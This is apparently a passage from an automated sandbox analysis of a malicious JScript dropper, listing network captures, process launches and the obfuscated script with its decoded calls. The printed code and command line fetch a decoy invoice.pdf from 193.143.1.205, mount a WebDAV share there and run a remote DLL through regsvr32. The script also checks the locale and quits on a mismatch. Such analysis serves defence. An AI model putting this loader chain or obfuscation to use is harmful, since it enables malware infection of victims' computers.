Jan 11, 2025 08:05:41.992343903 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 08:05:41.992377996 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 08:05:41.992410898 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 08:05:41.992445946 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 08:05:41.997302055 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	3988	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:05:44.318473101 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:05:45.108800888 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:05:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:05:37
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js"
Imagebase:	0x7ff669e50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:05:38
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Imagebase:	0x7ff62fbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:05:38
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:05:38
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:05:43
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:05:43
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62fbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:05:43
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff730880000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:05:43
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:05:44
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:05:44
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1568,i,1981050005613067289,15213911925093291134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jehtwi() {	jehtwi() ➔ undefined
1	ruoghhs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kkmdoaktl = this[qiftjqyhu + nettblg + dcvvuwuwt + txtuk + hwcbguc + aeubcbw + ycfecvt + ygdvnhv] ( this[qvjaqwsn + oczfp + cddsof + dcvvuwuwt + ycjolzgir + qiftjqyhu + ygdvnhv][jlsdkhbwl + dcvvuwuwt + hwcbguc + nettblg + ygdvnhv + hwcbguc + rabeebkix + swlgk + uoacscmpq + hwcbguc + cddsof + ygdvnhv] ( qvjaqwsn + oczfp + cddsof + dcvvuwuwt + ycjolzgir + qiftjqyhu + ygdvnhv + dvqowo + oczfp + xuoiymmw + hwcbguc + wjrzbh + wjrzbh ) [kbkgnh + hwcbguc + frotjsuxj + kbkgnh + hwcbguc + nettblg + szwblzz] ( hidtnxi + zmhzn + vftjrkxlw + luwywd + mhgsdv + jlsdkhbwl + juzlgjci + kbkgnh + kbkgnh + vftjrkxlw + mwkaqlmm + jwaum + mhgsdv + juzlgjci + oczfp + vftjrkxlw + kbkgnh + jpqoau + jlsdkhbwl + dtvska + ycfecvt + ygdvnhv + dcvvuwuwt + dtvska + wjrzbh + vyjmjtmq + qjzbgov + nettblg + ycfecvt + hwcbguc + wjrzbh + jpqoau + aeubcbw + ycfecvt + ygdvnhv + hwcbguc + dcvvuwuwt + ycfecvt + nettblg + ygdvnhv + ycjolzgir + dtvska + ycfecvt + nettblg + wjrzbh + jpqoau + stlmakron + dtvska + cddsof + nettblg + wjrzbh + hwcbguc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( azqattqcz = 0 ; azqattqcz < ruoghhs[wjrzbh + hwcbguc + ycfecvt + frotjsuxj + ygdvnhv + xuoiymmw] ; ++ azqattqcz )
4	{
5	if ( kkmdoaktl == ruoghhs[azqattqcz] )
6	{
7	kkmdoaktl = true;
8	break ;
9	}
10	}
11	if ( kkmdoaktl !== true )
12	this[qvjaqwsn + oczfp + cddsof + dcvvuwuwt + ycjolzgir + qiftjqyhu + ygdvnhv][nhhqb + ttfqji + ycjolzgir + ygdvnhv] ( );
13	this[qvjaqwsn + oczfp + cddsof + dcvvuwuwt + ycjolzgir + qiftjqyhu + ygdvnhv][jlsdkhbwl + dcvvuwuwt + hwcbguc + nettblg + ygdvnhv + hwcbguc + rabeebkix + swlgk + uoacscmpq + hwcbguc + cddsof + ygdvnhv] ( qvjaqwsn + oczfp + cddsof + dcvvuwuwt + ycjolzgir + qiftjqyhu + ygdvnhv + dvqowo + oczfp + xuoiymmw + hwcbguc + wjrzbh + wjrzbh ) [dcvvuwuwt + ttfqji + ycfecvt] ( cddsof + mbczaeyja + szwblzz + vyjmjtmq + iypkzd + cddsof + vyjmjtmq + qiftjqyhu + dtvska + qvfowe + hwcbguc + dcvvuwuwt + txtuk + xuoiymmw + hwcbguc + wjrzbh + wjrzbh + dvqowo + hwcbguc + cxanrn + hwcbguc + vyjmjtmq + numcorr + jlsdkhbwl + dtvska + mbczaeyja + mbczaeyja + nettblg + ycfecvt + szwblzz + vyjmjtmq + ueteg + aeubcbw + ycfecvt + ciykhmk + dtvska + wjcjysqoy + hwcbguc + numcorr + qvjaqwsn + hwcbguc + swlgk + kbkgnh + hwcbguc + iqzpi + ttfqji + hwcbguc + txtuk + ygdvnhv + vyjmjtmq + numcorr + rabeebkix + ttfqji + ygdvnhv + ohgdd + ycjolzgir + wjrzbh + hwcbguc + vyjmjtmq + zlytebqf + ygdvnhv + hwcbguc + mbczaeyja + qiftjqyhu + zlytebqf + jpqoau + ycjolzgir + ycfecvt + ciykhmk + dtvska + ycjolzgir + cddsof + hwcbguc + dvqowo + qiftjqyhu + szwblzz + kkohr + vyjmjtmq + xuoiymmw + ygdvnhv + ygdvnhv + qiftjqyhu + lkvjy + iypkzd + iypkzd + vuelopg + ysxjx + qdcuvxc + dvqowo + vuelopg + ogpoajo + qdcuvxc + dvqowo + vuelopg + dvqowo + uarbdaehw + wcmuu + aeicfy + iypkzd + ycjolzgir + ycfecvt + ciykhmk + dtvska + ycjolzgir + cddsof + hwcbguc + dvqowo + qiftjqyhu + xuoiymmw + qiftjqyhu + ueteg + xmkxkuhgw + xmkxkuhgw + txtuk + ygdvnhv + nettblg + dcvvuwuwt + ygdvnhv + vyjmjtmq + zlytebqf + ygdvnhv + hwcbguc + mbczaeyja + qiftjqyhu + zlytebqf + jpqoau + ycjolzgir + ycfecvt + ciykhmk + dtvska + ycjolzgir + cddsof + hwcbguc + dvqowo + qiftjqyhu + szwblzz + kkohr + xmkxkuhgw + xmkxkuhgw + cddsof + mbczaeyja + szwblzz + vyjmjtmq + iypkzd + cddsof + vyjmjtmq + ycfecvt + hwcbguc + ygdvnhv + vyjmjtmq + ttfqji + txtuk + hwcbguc + vyjmjtmq + jpqoau + jpqoau + vuelopg + ysxjx + qdcuvxc + dvqowo + vuelopg + ogpoajo + qdcuvxc + dvqowo + vuelopg + dvqowo + uarbdaehw + wcmuu + aeicfy + efaeofnus + ntjbmep + ntjbmep + ntjbmep + ntjbmep + jpqoau + szwblzz + nettblg + ciykhmk + qvfowe + qvfowe + qvfowe + dcvvuwuwt + dtvska + dtvska + ygdvnhv + jpqoau + xmkxkuhgw + xmkxkuhgw + cddsof + mbczaeyja + szwblzz + vyjmjtmq + iypkzd + cddsof + vyjmjtmq + dcvvuwuwt + hwcbguc + frotjsuxj + txtuk + ciykhmk + dcvvuwuwt + qdcuvxc + uarbdaehw + vyjmjtmq + iypkzd + txtuk + vyjmjtmq + jpqoau + jpqoau + vuelopg + ysxjx + qdcuvxc + dvqowo + vuelopg + ogpoajo + qdcuvxc + dvqowo + vuelopg + dvqowo + uarbdaehw + wcmuu + aeicfy + efaeofnus + ntjbmep + ntjbmep + ntjbmep + ntjbmep + jpqoau + szwblzz + nettblg + ciykhmk + qvfowe + qvfowe + qvfowe + dcvvuwuwt + dtvska + dtvska + ygdvnhv + jpqoau + qdcuvxc + vuelopg + vuelopg + qdcuvxc + wulte + uarbdaehw + uarbdaehw + ogpoajo + qdcuvxc + wcmuu + vuelopg + ysxjx + wulte + qdcuvxc + ntjbmep + dvqowo + szwblzz + wjrzbh + wjrzbh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll",0,false) ➔ 0
14	}
15	hwcbguc = "o";
16	hwcbguc = "s";
17	hwcbguc = "a";
18	hwcbguc = "C";
19	hwcbguc = "V";
20	hwcbguc = "C";
21	hwcbguc = "R";
22	hwcbguc = "P";
23	hwcbguc = "t";
24	hwcbguc = "n";
25	hwcbguc = "L";
26	hwcbguc = "l";
27	hwcbguc = "l";
28	hwcbguc = "d";
29	hwcbguc = "F";
30	hwcbguc = "f";
31	hwcbguc = "N";
32	hwcbguc = "X";
33	hwcbguc = "L";
34	hwcbguc = "o";
35	hwcbguc = "D";
36	hwcbguc = "N";
37	hwcbguc = "L";
38	hwcbguc = "E";
39	hwcbguc = "d";
40	hwcbguc = "n";
41	hwcbguc = "z";
42	hwcbguc = "g";
43	hwcbguc = "k";
44	hwcbguc = "l";
45	hwcbguc = "L";
46	hwcbguc = "e";
47	cddsof = "P";
48	cddsof = "n";
49	cddsof = "J";
50	cddsof = "z";
51	cddsof = "Z";
52	cddsof = "E";
53	cddsof = "c";
54	zlytebqf = "j";
55	zlytebqf = "I";
56	zlytebqf = "T";
57	zlytebqf = "R";
58	zlytebqf = "j";
59	zlytebqf = "j";
60	zlytebqf = "H";
61	zlytebqf = "F";
62	zlytebqf = "m";
63	zlytebqf = "%";
64	jlsdkhbwl = "N";
65	jlsdkhbwl = "T";
66	jlsdkhbwl = "v";
67	jlsdkhbwl = "e";
68	jlsdkhbwl = "m";
69	jlsdkhbwl = "C";
70	lkvjy = "z";
71	lkvjy = "M";
72	lkvjy = "J";
73	lkvjy = "M";
74	lkvjy = "z";
75	lkvjy = "c";
76	lkvjy = "e";
77	lkvjy = "n";
78	lkvjy = "F";
79	lkvjy = "r";
80	lkvjy = "k";
81	lkvjy = "S";
82	lkvjy = "v";
83	lkvjy = "S";
84	lkvjy = "M";
85	lkvjy = "Y";
86	lkvjy = ":";
87	xuoiymmw = "k";
88	xuoiymmw = "P";
89	xuoiymmw = "I";
90	xuoiymmw = "j";
91	xuoiymmw = "p";
92	xuoiymmw = "O";
93	xuoiymmw = "z";
94	xuoiymmw = "N";
95	xuoiymmw = "Y";
96	xuoiymmw = "m";
97	xuoiymmw = "E";
98	xuoiymmw = "N";
99	xuoiymmw = "X";
100	xuoiymmw = "T";
101	xuoiymmw = "l";
102	xuoiymmw = "M";
103	xuoiymmw = "h";
104	xuoiymmw = "m";
105	xuoiymmw = "R";
106	xuoiymmw = "V";
107	xuoiymmw = "y";
108	xuoiymmw = "E";
109	xuoiymmw = "d";
110	xuoiymmw = "K";
111	xuoiymmw = "c";
112	xuoiymmw = "A";
113	xuoiymmw = "n";
114	xuoiymmw = "r";
115	xuoiymmw = "Q";
116	xuoiymmw = "l";
117	xuoiymmw = "W";
118	xuoiymmw = "O";
119	xuoiymmw = "Q";
120	xuoiymmw = "m";
121	xuoiymmw = "m";
122	xuoiymmw = "D";
123	xuoiymmw = "f";
124	xuoiymmw = "V";
125	xuoiymmw = "w";
126	xuoiymmw = "U";
127	xuoiymmw = "h";
128	aeicfy = "5";
129	mbczaeyja = "K";
130	mbczaeyja = "L";
131	mbczaeyja = "x";
132	mbczaeyja = "h";
133	mbczaeyja = "Z";
134	mbczaeyja = "W";
135	mbczaeyja = "n";
136	mbczaeyja = "S";
137	mbczaeyja = "x";
138	mbczaeyja = "y";
139	mbczaeyja = "D";
140	mbczaeyja = "q";
141	mbczaeyja = "d";
142	mbczaeyja = "Y";
143	mbczaeyja = "d";
144	mbczaeyja = "E";
145	mbczaeyja = "w";
146	mbczaeyja = "m";
147	mbczaeyja = "N";
148	mbczaeyja = "F";
149	mbczaeyja = "A";
150	mbczaeyja = "c";
151	mbczaeyja = "E";
152	mbczaeyja = "N";
153	mbczaeyja = "M";
154	mbczaeyja = "t";
155	mbczaeyja = "v";
156	mbczaeyja = "A";
157	mbczaeyja = "q";
158	mbczaeyja = "N";
159	mbczaeyja = "a";
160	mbczaeyja = "q";
161	mbczaeyja = "S";
162	mbczaeyja = "F";
163	mbczaeyja = "U";
164	mbczaeyja = "p";
165	mbczaeyja = "x";
166	mbczaeyja = "w";
167	mbczaeyja = "Q";
168	mbczaeyja = "M";
169	mbczaeyja = "u";
170	mbczaeyja = "n";
171	mbczaeyja = "m";
172	juzlgjci = "s";
173	juzlgjci = "x";
174	juzlgjci = "L";
175	juzlgjci = "U";
176	juzlgjci = "W";
177	juzlgjci = "t";
178	juzlgjci = "o";
179	juzlgjci = "s";
180	juzlgjci = "D";
181	juzlgjci = "p";
182	juzlgjci = "U";
183	ttfqji = "W";
184	ttfqji = "i";
185	ttfqji = "N";
186	ttfqji = "f";
187	ttfqji = "t";
188	ttfqji = "x";
189	ttfqji = "t";
190	ttfqji = "x";
191	ttfqji = "h";
192	ttfqji = "w";
193	ttfqji = "v";
194	ttfqji = "H";
195	ttfqji = "a";
196	ttfqji = "q";
197	ttfqji = "b";
198	ttfqji = "P";
199	ttfqji = "y";
200	ttfqji = "I";
201	ttfqji = "B";
202	ttfqji = "g";
203	ttfqji = "V";
204	ttfqji = "n";
205	ttfqji = "d";
206	ttfqji = "P";
207	ttfqji = "d";
208	ttfqji = "u";
209	wjrzbh = "p";
210	wjrzbh = "i";
211	wjrzbh = "f";
212	wjrzbh = "s";
213	wjrzbh = "Y";
214	wjrzbh = "c";
215	wjrzbh = "J";
216	wjrzbh = "M";
217	wjrzbh = "h";
218	wjrzbh = "e";
219	wjrzbh = "u";
220	wjrzbh = "Y";
221	wjrzbh = "l";
222	wjrzbh = "S";
223	wjrzbh = "W";
224	wjrzbh = "b";
225	wjrzbh = "F";
226	wjrzbh = "H";
227	wjrzbh = "y";
228	wjrzbh = "j";
229	wjrzbh = "z";
230	wjrzbh = "l";
231	ciykhmk = "v";
232	vuelopg = "r";
233	vuelopg = "N";
234	vuelopg = "e";
235	vuelopg = "E";
236	vuelopg = "O";
237	vuelopg = "R";
238	vuelopg = "l";
239	vuelopg = "y";
240	vuelopg = "e";
241	vuelopg = "A";
242	vuelopg = "m";
243	vuelopg = "r";
244	vuelopg = "N";
245	vuelopg = "u";
246	vuelopg = "i";
247	vuelopg = "K";
248	vuelopg = "H";
249	vuelopg = "Z";
250	vuelopg = "d";
251	vuelopg = "1";
252	mhgsdv = "G";
253	mhgsdv = "Z";
254	mhgsdv = "u";
255	mhgsdv = "X";
256	mhgsdv = "o";
257	mhgsdv = "j";
258	mhgsdv = "A";
259	mhgsdv = "h";
260	mhgsdv = "E";
261	mhgsdv = "_";
262	ohgdd = "y";
263	ohgdd = "V";
264	ohgdd = "Z";
265	ohgdd = "V";
266	ohgdd = "r";
267	ohgdd = "U";
268	ohgdd = "a";
269	ohgdd = "n";
270	ohgdd = "R";
271	ohgdd = "H";
272	ohgdd = "r";
273	ohgdd = "T";
274	ohgdd = "Z";
275	ohgdd = "T";
276	ohgdd = "c";
277	ohgdd = "j";
278	ohgdd = "J";
279	ohgdd = "u";
280	ohgdd = "b";
281	ohgdd = "i";
282	ohgdd = "j";
283	ohgdd = "z";
284	ohgdd = "q";
285	ohgdd = "L";
286	ohgdd = "T";
287	ohgdd = "F";
288	stlmakron = "U";
289	stlmakron = "q";
290	stlmakron = "i";
291	stlmakron = "O";
292	stlmakron = "L";
293	ogpoajo = "g";
294	ogpoajo = "h";
295	ogpoajo = "d";
296	ogpoajo = "s";
297	ogpoajo = "F";
298	ogpoajo = "B";
299	ogpoajo = "W";
300	ogpoajo = "p";
301	ogpoajo = "Q";
302	ogpoajo = "N";
303	ogpoajo = "O";
304	ogpoajo = "L";
305	ogpoajo = "Q";
306	ogpoajo = "N";
307	ogpoajo = "z";
308	ogpoajo = "T";
309	ogpoajo = "N";
310	ogpoajo = "i";
311	ogpoajo = "V";
312	ogpoajo = "Q";
313	ogpoajo = "r";
314	ogpoajo = "R";
315	ogpoajo = "G";
316	ogpoajo = "T";
317	ogpoajo = "J";
318	ogpoajo = "E";
319	ogpoajo = "h";
320	ogpoajo = "4";
321	uoacscmpq = "j";
322	uoacscmpq = "Z";
323	uoacscmpq = "Y";
324	uoacscmpq = "P";
325	uoacscmpq = "M";
326	uoacscmpq = "J";
327	uoacscmpq = "V";
328	uoacscmpq = "y";
329	uoacscmpq = "r";
330	uoacscmpq = "n";
331	uoacscmpq = "x";
332	uoacscmpq = "A";
333	uoacscmpq = "s";
334	uoacscmpq = "n";
335	uoacscmpq = "T";
336	uoacscmpq = "d";
337	uoacscmpq = "k";
338	uoacscmpq = "O";
339	uoacscmpq = "W";
340	uoacscmpq = "K";
341	uoacscmpq = "X";
342	uoacscmpq = "G";
343	uoacscmpq = "V";
344	uoacscmpq = "X";
345	uoacscmpq = "V";
346	uoacscmpq = "l";
347	uoacscmpq = "D";
348	uoacscmpq = "r";
349	uoacscmpq = "i";
350	uoacscmpq = "Y";
351	uoacscmpq = "K";
352	uoacscmpq = "n";
353	uoacscmpq = "S";
354	uoacscmpq = "o";
355	uoacscmpq = "f";
356	uoacscmpq = "j";
357	ysxjx = "t";
358	ysxjx = "k";
359	ysxjx = "U";
360	ysxjx = "c";
361	ysxjx = "W";
362	ysxjx = "c";
363	ysxjx = "g";
364	ysxjx = "x";
365	ysxjx = "f";
366	ysxjx = "A";
367	ysxjx = "Z";
368	ysxjx = "M";
369	ysxjx = "o";
370	ysxjx = "v";
371	ysxjx = "s";
372	ysxjx = "F";
373	ysxjx = "j";
374	ysxjx = "T";
375	ysxjx = "A";
376	ysxjx = "H";
377	ysxjx = "N";
378	ysxjx = "r";
379	ysxjx = "J";
380	ysxjx = "Z";
381	ysxjx = "h";
382	ysxjx = "k";
383	ysxjx = "w";
384	ysxjx = "i";
385	ysxjx = "a";
386	ysxjx = "C";
387	ysxjx = "9";
388	nettblg = "I";
389	nettblg = "c";
390	nettblg = "f";
391	nettblg = "s";
392	nettblg = "l";
393	nettblg = "k";
394	nettblg = "a";
395	kkohr = "z";
396	kkohr = "S";
397	kkohr = "R";
398	kkohr = "X";
399	kkohr = "J";
400	kkohr = "l";
401	kkohr = "D";
402	kkohr = "m";
403	kkohr = "o";
404	kkohr = "h";
405	kkohr = "y";
406	kkohr = "c";
407	kkohr = "e";
408	kkohr = "c";
409	kkohr = "K";
410	kkohr = "I";
411	kkohr = "h";
412	kkohr = "J";
413	kkohr = "r";
414	kkohr = "w";
415	kkohr = "P";
416	kkohr = "s";
417	kkohr = "w";
418	kkohr = "d";
419	kkohr = "y";
420	kkohr = "j";
421	kkohr = "A";
422	kkohr = "u";
423	kkohr = "a";
424	kkohr = "t";
425	kkohr = "C";
426	kkohr = "u";
427	kkohr = "z";
428	kkohr = "N";
429	kkohr = "r";
430	kkohr = "e";
431	kkohr = "l";
432	kkohr = "F";
433	kkohr = "S";
434	kkohr = "N";
435	kkohr = "U";
436	kkohr = "f";
437	txtuk = "p";
438	txtuk = "J";
439	txtuk = "i";
440	txtuk = "g";
441	txtuk = "m";
442	txtuk = "p";
443	txtuk = "p";
444	txtuk = "I";
445	txtuk = "i";
446	txtuk = "j";
447	txtuk = "E";
448	txtuk = "d";
449	txtuk = "E";
450	txtuk = "s";
451	ueteg = "g";
452	ueteg = "a";
453	ueteg = "X";
454	ueteg = "C";
455	ueteg = "D";
456	ueteg = "f";
457	ueteg = "w";
458	ueteg = "w";
459	ueteg = "q";
460	ueteg = "l";
461	ueteg = "S";
462	ueteg = "x";
463	ueteg = "h";
464	ueteg = "E";
465	ueteg = "n";
466	ueteg = "g";
467	ueteg = "R";
468	ueteg = "K";
469	ueteg = "p";
470	ueteg = "U";
471	ueteg = "X";
472	ueteg = "C";
473	ueteg = "g";
474	ueteg = "H";
475	ueteg = "S";
476	ueteg = "E";
477	ueteg = "A";
478	ueteg = "G";
479	ueteg = "P";
480	ueteg = "c";
481	ueteg = "A";
482	ueteg = "W";
483	ueteg = "\"";
484	dcvvuwuwt = "u";
485	dcvvuwuwt = "d";
486	dcvvuwuwt = "e";
487	dcvvuwuwt = "g";
488	dcvvuwuwt = "p";
489	dcvvuwuwt = "S";
490	dcvvuwuwt = "T";
491	dcvvuwuwt = "X";
492	dcvvuwuwt = "P";
493	dcvvuwuwt = "e";
494	dcvvuwuwt = "N";
495	dcvvuwuwt = "k";
496	dcvvuwuwt = "Z";
497	dcvvuwuwt = "L";
498	dcvvuwuwt = "d";
499	dcvvuwuwt = "p";
500	dcvvuwuwt = "I";
501	dcvvuwuwt = "m";
502	dcvvuwuwt = "S";
503	dcvvuwuwt = "p";
504	dcvvuwuwt = "k";
505	dcvvuwuwt = "G";
506	dcvvuwuwt = "j";
507	dcvvuwuwt = "d";
508	dcvvuwuwt = "y";
509	dcvvuwuwt = "b";
510	dcvvuwuwt = "Y";
511	dcvvuwuwt = "j";
512	dcvvuwuwt = "r";
513	ygdvnhv = "s";
514	ygdvnhv = "W";
515	ygdvnhv = "X";
516	ygdvnhv = "j";
517	ygdvnhv = "K";
518	ygdvnhv = "f";
519	ygdvnhv = "B";
520	ygdvnhv = "J";
521	ygdvnhv = "A";
522	ygdvnhv = "t";
523	vftjrkxlw = "O";
524	vftjrkxlw = "s";
525	vftjrkxlw = "I";
526	vftjrkxlw = "g";
527	vftjrkxlw = "w";
528	vftjrkxlw = "q";
529	vftjrkxlw = "o";
530	vftjrkxlw = "E";
